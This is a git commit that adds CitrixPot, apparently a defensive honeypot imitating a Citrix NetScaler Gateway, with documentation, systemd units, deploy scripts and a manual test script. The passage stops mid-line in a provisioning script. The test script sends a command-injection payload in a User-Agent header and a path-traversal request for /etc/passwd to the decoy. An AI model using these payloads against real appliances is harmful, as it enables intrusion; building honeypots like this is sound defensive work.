commit 4491b42714abb8f9111dfd2e742abeffd680229f Author: CitrixPot Date: Mon Sep 28 19:44:37 2026 +0200 CitrixPot: NetScaler / Citrix ADC Gateway honeypot (initial public release) diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..4b459c5 --- /dev/null +++ b/.env.example @@ -0,0 +1,31 @@ +# Copy to .env (git-ignored) or set the same names in the systemd EnvironmentFile +# (/etc/decoy.env). Never commit real addresses, keys or credentials. + +# --- Decoy listener (honeypot.py) --- +HONEYPOT_BIND=0.0.0.0 +HONEYPOT_PORT=8443 +# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables. +HONEYPOT_PROXY_PROTOCOL_FROM= +# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted +# (edge proxy and reverse-proxy hops only). Empty trusts no forwarded headers. +HONEYPOT_TRUSTED_FORWARDED_FROM= +HONEYPOT_LOG_DIR=/var/lib/decoy/http +HONEYPOT_EVIDENCE_MIB=30720 + +# --- Source-preserving ingress (ingress_proxy.py) --- +INGRESS_BIND=127.0.0.1 +INGRESS_PORT=18443 +INGRESS_TARGET=127.0.0.1 +INGRESS_TARGET_PORT=19443 +# CIDRs allowed to open the origin. Empty = any (not recommended for public use). +INGRESS_ALLOW_FROM= + +# --- Local read-only evidence viewer (viewer.py) --- +VIEWER_BIND=127.0.0.1 +VIEWER_PORT=8787 +VIEWER_LOG_DIR=/var/lib/decoy/http +# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated. +VIEWER_HIDE_IP= + +# --- VM execution backend (optional, isolated guest only) --- +DECOY_VM_CONFIG=/etc/decoy-vm.json diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f4dde27 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# Secrets and local config +.env +.env.* +!.env.example +*.pem +*.key +*.crt +known_hosts +deploy/known_hosts +deploy/*.local + +# Evidence and runtime data (never publish) +logs/ +*/logs/ +artifacts/ +*.bin +*.jsonl +*.pcap + +# Python +__pycache__/ +*.py[cod] +.venv/ +venv/ + +# OS / editor +.DS_Store +Thumbs.db +*.swp diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..7e67859 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 CitrixPot contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..655866f --- /dev/null +++ b/README.md @@ -0,0 +1,152 @@ +# CitrixPot — NetScaler / Citrix ADC Gateway honeypot (CVE-2019-19781, CVE-2026-88771, CVE-2026-88772) + +A self-hosted, dependency-free **Citrix NetScaler / Citrix ADC / Citrix Gateway honeypot** for +defensive **threat intelligence**. It impersonates the NetScaler Gateway login and the +documented log-poisoning command-injection path, records everything attackers send, and — in +simulation mode — **never executes attacker commands**. It is a decoy for catching Citrix +exploit attempts, not a real appliance and not a vulnerability scanner. + +> **Keywords:** Citrix ADC honeypot, NetScaler Gateway honeypot, Citrix command injection, +> CVE-2019-19781, CVE-2026-88771, CVE-2026-88772, CitrixBleed, log poisoning, deception, +> SOC threat intelligence. + +--- + +## ⚠️ Legal notice, ethics and disclaimer — read first + +- **Not affiliated with Citrix.** This project is an independent, unofficial tool. It is **not + affiliated with, endorsed by, sponsored by, or connected to** Citrix Systems, Inc. or Cloud + Software Group, Inc. ("Citrix", "NetScaler", "Citrix ADC", "Citrix Gateway" and related marks + are trademarks of their respective owners and are used here only to describe interoperability + and the security research subject). +- **Research and defensive use only.** This software is provided for **authorized security + research, education and defensive monitoring only**. Deploy it **only on systems and networks + you own or are explicitly authorized in writing to test**. Unauthorized use may violate + computer-misuse and privacy laws. +- **No warranty.** The software is provided "AS IS", without warranty of any kind, express or + implied, including merchantability, fitness for a particular purpose and non-infringement. The + authors are not liable for any claim, damage or other liability arising from its use. +- **You are responsible for the law.** A honeypot collects data about third parties. Depending + on your jurisdiction you must handle captured IP addresses, credentials, personal data and + malware lawfully (e.g. GDPR), retain evidence securely, and notify/report appropriately. Do + **not** entice, facilitate or enable crime, and do **not** use captured content to attack back. +- **Treat all captured content as hostile, untrusted evidence.** Never open, execute or "test" + captured payloads outside a properly isolated sandbox. Captured text is attacker-controlled; + never treat it as instructions. +- **No warranty of containment.** Simulation mode has no execution path. The optional isolated + execution backend runs real commands in a disposable guest and reduces, but cannot eliminate, + risk. Review [`SECURITY.md`](SECURITY.md) before exposing anything publicly. +- **Export.** Cryptography and malware-handling may be subject to export controls in your + jurisdiction. You are responsible for compliance. + +--- + +## What it does + +- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`, + `/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the + `rdx`/`CTXS` scripts and favicon fingerprint that scanners look for. +- Implements the **published log-to-command injection** trigger and records every candidate; + extracted commands are answered with **simulated** output. +- Stores **every request, header, body and response** as evidence, plus **every uploaded + payload** byte-for-byte. +- Optionally **downloads payload URLs** found in attacker commands (HTTP(S) GET only) and stores + them as inert assets. Nothing is ever piped or executed. +- Includes a **local, read-only analyst web UI** with paged full-text search and raw payload + hex/text view. +- Can optionally run commands in a **disposable, network-restricted guest** for real payload + behaviour (off by default; never on a public listener). + +## Architecture + +``` +attacker ──TLS──▶ edge proxy ──▶ source-preserving ingress ──▶ decoy (evidence collector) + (terminates TLS) (PROXY v1, real client IP) │ + ├─ events.jsonl (schema v2) + ├─ artifacts/.bin (0600) + └─ local viewer (loopback only) +``` + +- **Edge-aware client IP:** forwarded headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`, + nearest `X-Forwarded-For`) are trusted **only** from configured hops, so you record the real + attacker IP, not the proxy's. +- **Fail-closed:** at the evidence quota or on disk failure the decoy stops rather than + overwriting evidence. + +## Quickstart (simulator — safe to expose) + +Requires only Python 3.10+ (standard library); no third-party packages. + +```sh +git clone citrixpot && cd citrixpot +cp .env.example .env # edit to taste +python3 test_honeypot.py # run the test suite +set -a; . ./.env; set +a +python3 honeypot.py & # decoy on http://127.0.0.1:8443 +python3 viewer.py # analyst UI on http://127.0.0.1:8787 +``` + +No commands are executed in this mode; commands are parsed, logged and answered with canned +output, and uploads are stored as inert artifacts. + +## Configuration + +All settings come from the environment (or a `.env` file / systemd `EnvironmentFile`). See +[`.env.example`](.env.example). Key variables: + +| Variable | Purpose | +|---|---| +| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port | +| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) | +| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted | +| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota | +| `INGRESS_BIND`, `INGRESS_PORT`, `INGRESS_ALLOW_FROM` | source-preserving ingress and allowlist | +| `VIEWER_BIND`, `VIEWER_PORT`, `VIEWER_HIDE_IP` | local analyst UI and hidden operator IPs | + +## Evidence and analyst UI + +- `events.jsonl` — append-only JSONL journal (`schema_version: 2`) with UTC timestamps, request/ + session IDs, socket source IP/port, durations and status. +- `artifacts/.bin` — exact payload bytes, deduplicated, `0600` in a `0700` directory. +- Event types include `request`, `request_body`, `response*`, `upload*`, `form_fields`, + `injection_candidate`, `simulated_command`/`unsupported`, `outbound_attempt`, + `exploit_attempt` (labelled `CVE-2019-19781`, `path-traversal`, `config-read`, + `management-probe`), `auth_attempt`, `brute_force_suspected` and `payload_download`. + +The viewer is **read-only and loopback-only** by default; reach it over an SSH tunnel. It filters +out your own public IP automatically (refreshed every 30 minutes) so operator traffic stays out +of the analysis. + +## Optional: isolated execution mode + +For real payload behaviour, an opt-in backend runs commands in a **disposable, network-restricted +guest**. It requires **both** `--vm-config ` and `--allow-real-execution`, and must never be +enabled on an internet-facing listener. See [`SECURITY.md`](SECURITY.md) and +[`deploy/`](deploy/). + +## Public deployment + +1. Terminate TLS at an edge proxy (for example Cloudflare in front of Nginx Proxy Manager). +2. Forward to the source-preserving ingress and set `INGRESS_ALLOW_FROM` and + `HONEYPOT_TRUSTED_FORWARDED_FROM` to your edge hop(s) so the real client IP is captured. +3. Firewall the origin port so only the edge proxy and host can reach it. +4. Keep simulation mode on; monitor the evidence quota. + +See [`deploy/VM-ACCESS.md`](deploy/VM-ACCESS.md) for a deployment template. + +## Tests + +```sh +python3 test_honeypot.py python3 test_capture.py python3 test_safety.py +python3 test_payload_fetch.py test_client_ip.py test_viewer.py test_auth_logging.py +python3 test_ingress_proxy.py test_network_capture.py test_reset.py test_vm_backend.py +``` + +## Acknowledgements + +Informed by public analysis of the Citrix NetScaler log-poisoning command injection; see the +watchTowr write-up referenced in the community discussion of the 2026 NetScaler issue. + +## License + +MIT — see [`LICENSE`](LICENSE). Trademarks belong to their respective owners. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..55c1047 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,122 @@ +# Security model and threat model + +This is a deliberately attacked system. Everything here is designed so that an +attacker who "exploits" the decoy can **upload files, run commands and receive +plausible output without doing anything real** to the collector or the host. + +## Two execution modes + +| Mode | Default | What happens to attacker commands | +|------|---------|-----------------------------------| +| `simulation` | yes | Parsed, logged and answered with canned output. **Never executed. No shell, no syscalls, no sockets.** | +| `disposable_vm` | no | Real `bash` runs inside disposable VM223. Requires both `--vm-config` and `--allow-real-execution`. | + +The simulator is pure Python dict manipulation (`simulate()`); it has no path to +`os.system`, `subprocess`, `eval` or a real filesystem path. Uploaded bodies are +stored as inert `0600` content-addressed blobs. This is the safe mode for an +internet-facing listener and is what `deploy/decoy.service` runs. + +The VM mode exists for private labs that want to observe real payload behaviour. +It must **not** be enabled on a public listener. The two-flag gate above makes +accidental activation impossible, and the process logs a loud warning plus +`real_execution: true` in the start event. + +## Isolation of the disposable execution guest (VM223) + +- QEMU user networking with `restrict=on`; **no bridge NIC**, so the guest + cannot reach the LAN, the management network or the internet directly. +- **No host mounts, no shared folders, no 9p, no virtiofs, no SPICE.** The only + block device is the guest's own discardable disk. +- Guest TCP is redirected (iptables `REDIRECT`) to a local relay that speaks only + to the outside recording broker. A separate guestfwd path reaches the broker; + the broker is the sole policy point for every outbound connection. +- The broker allows public IPv4 `80/443` unconditionally and other ports only to + recently observed attacker peers. Private, loopback, metadata and LAN + destinations are denied. DNS returns public A records only. +- The guest is reset every hour: disk is archived to a validated qcow2 and + rolled back to `decoy-clean`; unflushed RAM is discarded. +- A host watchdog stops VM223 on pcap quota, disk/thin-pool reserve, collector + service failure or a STOP latch. STOP is never auto-cleared. +- Collector→guest SSH uses a dedicated key whose `authorized_keys` entry is + restricted with `no-agent-forwarding,no-port-forwarding,no-X11-forwarding`. +- Packet capture lives on the host (`execution.pcap`, 512-byte prefixes), so it + survives guest tampering. + +Residual risk in VM mode is a QEMU/KVM or guest-kernel escape. Keep the +hypervisor patched, never enable VM mode on a public listener, and treat the +guest disk and pcap as untrusted binary evidence. + +## Collector isolation + +`decoy.service` runs under systemd with `ProtectSystem=strict`, +`NoNewPrivileges`, `PrivateTmp`, `RestrictAddressFamilies`, `MemoryMax` and +`TasksMax`, writing only under `/var/lib/decoy` (root-only, `0700`). The ingress +proxy runs as a `DynamicUser` with no capabilities. The local viewer is +loopback-only and read-only. + +## Real client IP behind the edge + +The decoy never trusts attacker-supplied `X-Forwarded-For`. Forwarded client +headers (`CF-Connecting-IP`, `True-Client-IP`, `X-Real-IP`, then the nearest +`X-Forwarded-For` hop) are honoured **only** when the connecting hop is inside a +configured trusted network (`--trusted-forwarded-from`, e.g. Cloudflare's +published ranges plus loopback). The real client IP is recorded as `peer`; the +proxy hop is retained separately as `proxy_peer`. Spoofed private/reserved +addresses are rejected. + +## Logging guarantee (capture everything) + +Every request is journaled in full and its bytes are stored, so nothing depends on +the decoy recognising it: + +- `request` records method, raw URI and every raw header (including `User-Agent`). +- `request_body` stores the exact raw body bytes as a content-addressed artifact for + every request; multipart parts become `upload` events, other bodies + `upload_or_raw_payload`, form posts `form_fields`. Filenames are metadata only. +- `response` / `response_sent` store the bytes returned. +- `request_end` stores the exact HTTP bytes the parser consumed, even for malformed, + partial or rejected requests. +- Log-poisoning candidates become `injection_candidate`; each extracted command is + then `simulated_command`/`unsupported` (with argv, cwd and output) or, in VM mode, + `execution_*` plus `guest_stdout`/`guest_syscalls_stderr`/`guest_file_*`. +- Known Citrix exploit indicators are additionally labelled `exploit_attempt` + (`CVE-2019-19781`, `path-traversal`, `config-read`, `management-probe`). This is a + convenience label on top of the full capture, not a filter — unflagged requests + are still stored. + +Uploaded payloads are inert evidence on the collector and are never executed there. + +## Evidence + +The append-only JSONL journal and content-addressed blobs are `0600` under a +`0700` directory. The service fails closed and exits non-zero when the evidence +quota or disk fails, rather than dropping or overwriting records. Uploaded files +are never executed by the collector and are never copied into a guest. + +## Reporting boundary + +No reporting UI is served on the attacker listener. The evidence viewer is a +separate loopback-only process reached over SSH port-forwarding. Do not add +reporting routes to the decoy listener. + +## Public exposure checklist + +1. Keep the listener in `simulation` mode. +2. Put an edge proxy (Cloudflare) in front; pass the original client IP via + `CF-Connecting-IP` and configure `--trusted-forwarded-from` with the edge + ranges (`deploy/cloudflare-ips.txt`). +3. Origin must only accept traffic from the edge; do not expose the origin + directly. +4. Terminate TLS at the edge so the decoy sees HTTP and can read headers. +5. Keep the STOP latch and watchdog enabled; archive evidence before clearing it. + +## Audit notes (2026-09-28) + +- Verified the simulator contains no command-execution path. +- Found the deployed collector running `--vm-config` (real execution). Hardened: + `--vm-config` now also requires `--allow-real-execution`; the deployed unit was + switched to simulation-only; a loud startup warning is emitted in VM mode. +- Verified VM223 has no host mounts, no bridge, `restrict=on`, and a locked-down + management key. +- Added trusted-edge client-IP extraction with spoof rejection. +- Added the loopback-only read-only viewer and its hardened systemd unit. diff --git a/deploy/VM-ACCESS.md b/deploy/VM-ACCESS.md new file mode 100644 index 0000000..77fa3bc --- /dev/null +++ b/deploy/VM-ACCESS.md @@ -0,0 +1,58 @@ +# Deployment notes (template) + +Replace every `<...>` placeholder with your own values. Keep real addresses and keys out of +the repository; put them in `/etc/decoy.env` (see `.env.example`) or your own secret store. + +## Topology + +- Proxmox host: `` (management network, not public). +- Collector VM: stores evidence and serves the decoy. QEMU user networking only, no bridge NIC. +- Execution VM (optional): disposable, isolated guest for real payload behaviour. Requires + `restrict=on`, no bridge NIC, no host mounts, and must never be enabled on a public listener. +- Edge proxy (e.g. Nginx Proxy Manager on ``): terminates TLS and forwards to a + source-preserving ingress on the Proxmox host. + +## Source-preserving ingress + +`ingress_proxy.py` accepts a TCP connection and prepends a PROXY-v1 header (the real client +address) before the decoy reads any bytes. Restrict who may reach it: + +``` +INGRESS_BIND= +INGRESS_PORT=18443 +INGRESS_TARGET=127.0.0.1 +INGRESS_TARGET_PORT=19443 +INGRESS_ALLOW_FROM=,127.0.0.1, +``` + +At the decoy, trust only the edge hop for client-IP headers: + +``` +HONEYPOT_PROXY_PROTOCOL_FROM= # e.g. 10.0.2.2 for QEMU user networking +HONEYPOT_TRUSTED_FORWARDED_FROM=,127.0.0.1 +``` + +Add a host firewall rule so only the edge proxy and the host itself can reach the origin port. +Example (adapt to your firewall tooling): + +``` +iptables -N DECOY-ORIGIN +iptables -A DECOY-ORIGIN -i lo -j RETURN +iptables -A DECOY-ORIGIN -s -j RETURN +iptables -A DECOY-ORIGIN -s -j RETURN +iptables -A DECOY-ORIGIN -j DROP +iptables -I INPUT 1 -p tcp --dport 18443 -j DECOY-ORIGIN +``` + +## Management access + +Use your own SSH keys and a jump host. Do not enable agent/X11/port forwarding on the +management key (`no-agent-forwarding,no-port-forwarding,no-X11-forwarding`). + +## Operational notes + +- QEMU `filter-dump` truncates its pcap on guest start; archive it before restarting the + execution VM. +- The decoy is fail-closed: when the evidence quota or disk fails it stops rather than + overwriting. Archive evidence before restarting. +- Never enable real command execution on an internet-facing listener. diff --git a/deploy/cloudflare-ips.txt b/deploy/cloudflare-ips.txt new file mode 100644 index 0000000..2e3119b --- /dev/null +++ b/deploy/cloudflare-ips.txt @@ -0,0 +1,24 @@ +# Cloudflare published edge ranges (https://www.cloudflare.com/ips). Refresh periodically. +# Only hops inside these networks may set CF-Connecting-IP / X-Forwarded-For for the decoy. +173.245.48.0/20 +103.21.244.0/22 +103.22.200.0/22 +103.31.4.0/22 +141.101.64.0/18 +108.162.192.0/18 +190.93.240.0/20 +188.114.96.0/20 +197.234.240.0/22 +198.41.128.0/17 +162.158.0.0/15 +104.16.0.0/13 +104.24.0.0/14 +172.64.0.0/13 +131.0.72.0/22 +2400:cb00::/32 +2606:4700::/32 +2803:f800::/32 +2405:b500::/32 +2405:8100::/32 +2a06:98c0::/29 +2c0f:f248::/32 diff --git a/deploy/decoy-cleanup.cron b/deploy/decoy-cleanup.cron new file mode 100644 index 0000000..fe8fa51 --- /dev/null +++ b/deploy/decoy-cleanup.cron @@ -0,0 +1,5 @@ +# Hourly disposable VM223 reset. Evidence is archived, never automatically pruned. +# Stop intake/VM and require operator review when archive budget/reserve is reached. +SHELL=/bin/sh +PATH=/usr/sbin:/usr/bin:/sbin:/bin +0 * * * * root /usr/bin/python3 /opt/decoy-ingress/reset-execution.py --run >> /var/lib/vz/honeypot/reset-cron.log 2>&1 diff --git a/deploy/decoy-guest-network.service b/deploy/decoy-guest-network.service new file mode 100644 index 0000000..f1b1c48 --- /dev/null +++ b/deploy/decoy-guest-network.service @@ -0,0 +1,10 @@ +[Unit] +Description=Redirect disposable guest TCP to recording relay +After=network-online.target +Before=decoy-relay.service +[Service] +Type=oneshot +ExecStart=/bin/sh /opt/decoy/guest-network.sh +RemainAfterExit=true +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-ingress.service b/deploy/decoy-ingress.service new file mode 100644 index 0000000..a410d75 --- /dev/null +++ b/deploy/decoy-ingress.service @@ -0,0 +1,18 @@ +[Unit] +Description=Source-preserving ingress for the NetScaler decoy +After=network-online.target +[Service] +EnvironmentFile=/etc/decoy.env +DynamicUser=yes +# --allow-from limits who may reach the origin to the edge proxy and trusted hops (see .env). +ExecStart=/usr/bin/python3 /opt/decoy-ingress/ingress_proxy.py --bind=${INGRESS_BIND} --port=${INGRESS_PORT} --target=${INGRESS_TARGET} --target-port=${INGRESS_TARGET_PORT} --allow-from=${INGRESS_ALLOW_FROM} +Restart=on-failure +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX +MemoryMax=128M +TasksMax=32 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-network.service b/deploy/decoy-network.service new file mode 100644 index 0000000..0b9466e --- /dev/null +++ b/deploy/decoy-network.service @@ -0,0 +1,21 @@ +[Unit] +Description=External recording and policy relay for disposable execution VM +After=network-online.target +[Service] +ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role broker --quota-mib 2048 --listen 0.0.0.0 --port 19090 --evidence /var/lib/decoy/network --peers /var/lib/decoy/allowed-peers.json +WorkingDirectory=/opt/decoy +UMask=0077 +Restart=no +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ReadWritePaths=/var/lib/decoy +ProtectHome=true +ProtectKernelTunables=true +ProtectKernelModules=true +ProtectControlGroups=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX +MemoryMax=384M +TasksMax=128 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-relay.service b/deploy/decoy-relay.service new file mode 100644 index 0000000..523014d --- /dev/null +++ b/deploy/decoy-relay.service @@ -0,0 +1,18 @@ +[Unit] +Description=Disposable guest transparent TCP and DNS relay +After=network-online.target +[Service] +User=decoy-relay +ExecStart=/usr/bin/python3 /opt/decoy/network_capture.py --role relay --listen 127.0.0.1 --port 15001 --broker 10.0.2.100 --broker-port 19090 --dns-port 53 +Restart=on-failure +AmbientCapabilities=CAP_NET_BIND_SERVICE +CapabilityBoundingSet=CAP_NET_BIND_SERVICE +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=true +RestrictAddressFamilies=AF_INET AF_UNIX +MemoryMax=256M +TasksMax=128 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-viewer.service b/deploy/decoy-viewer.service new file mode 100644 index 0000000..54d9533 --- /dev/null +++ b/deploy/decoy-viewer.service @@ -0,0 +1,19 @@ +[Unit] +Description=Local read-only honeypot evidence viewer (loopback only) +After=network-online.target +[Service] +EnvironmentFile=/etc/decoy.env +ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR} --hide-ip=${VIEWER_HIDE_IP} +WorkingDirectory=/opt/decoy +UMask=0077 +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ProtectHome=true +ReadOnlyPaths=/var/lib/decoy +RestrictAddressFamilies=AF_INET +MemoryMax=256M +TasksMax=32 +Restart=no +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy-watchdog.service b/deploy/decoy-watchdog.service new file mode 100644 index 0000000..096a633 --- /dev/null +++ b/deploy/decoy-watchdog.service @@ -0,0 +1,10 @@ +[Unit] +Description=Stop disposable execution VM on capture failure or quota +After=pve-guests.service +[Service] +ExecStart=/usr/bin/python3 /opt/decoy-ingress/watchdog.py +Restart=always +RestartSec=2 +UMask=0077 +[Install] +WantedBy=multi-user.target diff --git a/deploy/decoy.service b/deploy/decoy.service new file mode 100644 index 0000000..64a3198 --- /dev/null +++ b/deploy/decoy.service @@ -0,0 +1,25 @@ +[Unit] +Description=NetScaler decoy HTTP and evidence collector +After=network-online.target decoy-network.service +Requires=decoy-network.service +[Service] +EnvironmentFile=/etc/decoy.env +# Simulation only: attacker commands are parsed, stored and answered, never executed. +# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest; +# never enable it on an internet-facing listener. All values come from /etc/decoy.env. +ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB} +WorkingDirectory=/opt/decoy +UMask=0077 +Restart=no +NoNewPrivileges=true +PrivateTmp=true +ProtectSystem=strict +ReadWritePaths=/var/lib/decoy +ProtectKernelTunables=true +ProtectKernelModules=true +ProtectControlGroups=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX +MemoryMax=768M +TasksMax=128 +[Install] +WantedBy=multi-user.target diff --git a/deploy/guest-network.sh b/deploy/guest-network.sh new file mode 100644 index 0000000..f04ff11 --- /dev/null +++ b/deploy/guest-network.sh @@ -0,0 +1,13 @@ +#!/bin/sh +set -eu +[ -f /etc/decoy-disposable-guest ] +id decoy-relay >/dev/null 2>&1 || useradd --system --no-create-home --shell /usr/sbin/nologin decoy-relay +ip route replace default via 10.0.2.2 +iptables -t nat -N DECOY 2>/dev/null || true +iptables -t nat -F DECOY +iptables -t nat -A DECOY -m owner --uid-owner decoy-relay -j RETURN +iptables -t nat -A DECOY -d 127.0.0.0/8 -j RETURN +iptables -t nat -A DECOY -d 10.0.2.100/32 -j RETURN +iptables -t nat -A DECOY -p tcp -j REDIRECT --to-ports 15001 +iptables -t nat -C OUTPUT -p tcp -j DECOY 2>/dev/null || iptables -t nat -A OUTPUT -p tcp -j DECOY +printf 'nameserver 127.0.0.1\noptions timeout:2 attempts:1\n' > /etc/resolv.conf diff --git a/deploy/manual-test.sh b/deploy/manual-test.sh new file mode 100644 index 0000000..a072c86 --- /dev/null +++ b/deploy/manual-test.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash +# Manual end-to-end probe of a deployed decoy. Read-only: every request is recorded as +# evidence; nothing is executed. Configure via environment (see .env.example). +# BASE_URL e.g. http://127.0.0.1:8443 or https://your-decoy.example +# HOST_HEADER Host header the edge proxy routes on (default: localhost) +set -u +B=${1:-${BASE_URL:-http://127.0.0.1:8443}} +H="Host: ${HOST_HEADER:-localhost}" +printf '\000\377MZ-inert-manual-payload\r\n' > /tmp/manual-payload.bin +printf -- '--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../manual-multipart.bin"\r\nContent-Type: application/octet-stream\r\n\r\nINERT-MULTIPART-BODY\r\n--testboundary--\r\n' > /tmp/manual-multipart.bin + +code() { + local label=$1; shift + printf '%-42s -> %s\n' "$label" "$(curl -sS --max-time 10 -o /dev/null -w '%{http_code} %{size_download}b' "$@")" +} + +echo "== target $B ==" +code "GET / (login page)" -H "$H" "$B/" +code "GET /favicon.ico" -H "$H" "$B/favicon.ico" +code "GET background.jpg" -H "$H" "$B/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg" +code "GET logo.png" -H "$H" "$B/vpn/media/citrixgateway_logo_white.png" +code "GET login.js" -H "$H" "$B/logon/LogonPoint/login.js" +code "HEAD /" -I -H "$H" "$B/" +code "GET /nonexistent" -H "$H" "$B/nonexistent" +code "GET path traversal" --path-as-is -H "$H" "$B/../../etc/passwd" +code "OPTIONS /" -X OPTIONS -H "$H" "$B/" +code "POST auth form" -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=demo&passwd=demo' "$B/nf/auth/doAuthentication.do" +code "PUT binary payload" -X PUT -H "$H" -H 'Content-Type: application/octet-stream' --data-binary @/tmp/manual-payload.bin "$B/sample.bin" +code "POST multipart upload" -H "$H" -H 'Content-Type: multipart/form-data; boundary=testboundary' --data-binary @/tmp/manual-multipart.bin "$B/upload" +code "POST oversize body" -X POST -H "$H" -H 'Content-Length: 999999999' --max-time 4 "$B/" +code "POST ambiguous framing" -X POST -H "$H" -H 'Transfer-Encoding: chunked' -H 'Content-Length: 5' --data '0' "$B/" +code "GET injection in User-Agent" -H "$H" -A 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/manual-test.txt`;# X' "$B/" + +echo -n "auth XML body: " +curl -sS --max-time 8 -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=x&passwd=y' "$B/nf/auth/doAuthentication.do" | head -c 160 +echo +l=0; while [ $l -lt 12 ]; do l=$((l+1)); curl -sS --max-time 5 -o /dev/null -H "$H" --data 'login=a&passwd=b' "$B/nf/auth/doAuthentication.do"; done +echo "sent 12 rapid auth attempts (brute-force threshold is 10)" +python3 - "$B" "${HOST_HEADER:-localhost}" <<'PY' +import socket, sys, urllib.parse +url = urllib.parse.urlsplit(sys.argv[1]) +host = sys.argv[2] +s = socket.create_connection((url.hostname, url.port or 80), timeout=8) +s.sendall(f'GET / HTTP/1.1\r\nHost: {host}\r\n\r\n'.encode() + + f'GET /favicon.ico HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n'.encode()) +data = b'' +while True: + chunk = s.recv(65536) + if not chunk: + break + data += chunk +print(f'keep-alive pipelined -> {data.count(b"HTTP/1.1 ")} responses, {len(data)} bytes') +PY +echo "done" diff --git a/deploy/provision-pair.sh b/deploy/provision-pair.sh new file mode 100755 index 0000000..e1f423a --- /dev/null +++ b/deploy/provision-pair.sh @@ -0,0 +1,63 @@ +#!/bin/bash +# Run on the designated Proxmox host. Preparation only; never execute payloads here. +set -euo pipefail +cd /var/lib/vz/honeypot +expected=$(awk '$2 == "debian-12-genericcloud-amd64.qcow2" {print $1}' SHA512SUMS) +[[ -n "$expected" ]] +printf '%s debian.qcow2\n' "$expected" | sha512sum --check - +[[ -s admin.pub ]] +command -v nc >/dev/null +printf '#!/bin/sh\nexec nc 127.0.0.1 19223\n' > forward-execution-ssh +printf '#!/bin/sh\nexec nc 127.0.0.1 19090\n' > forward-collector-telemetry +chmod 700 forward-execution-ssh forward-collector-telemetry +for vmid in 222 223; do + if qm config "$vmid" >/dev/null 2>&1; then + echo "VM $vmid exists; refusing replacement" >&2; exit 1 + fi +done +for vmid in 222 223; do + role=collector; mem=2048; port=19222; mac=52:54:00:22:02:22 + packages='[python3, openssh-client, openssh-server, iptables, qemu-guest-agent]' + args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19443-:8443,hostfwd=tcp:127.0.0.1:19222-:22,hostfwd=tcp:127.0.0.1:19090-:19090,guestfwd=tcp:10.0.2.101:22-cmd:/var/lib/vz/honeypot/forward-execution-ssh -device virtio-net-pci,netdev=decoy,mac=$mac" + if [[ $vmid = 223 ]]; then + role=execution; mem=4096; port=19223; mac=52:54:00:22:02:23 + packages='[python3, strace, curl, wget, netcat-openbsd, iptables, openssh-server, qemu-guest-agent]' + # Trusted package bootstrap only. restrict=on 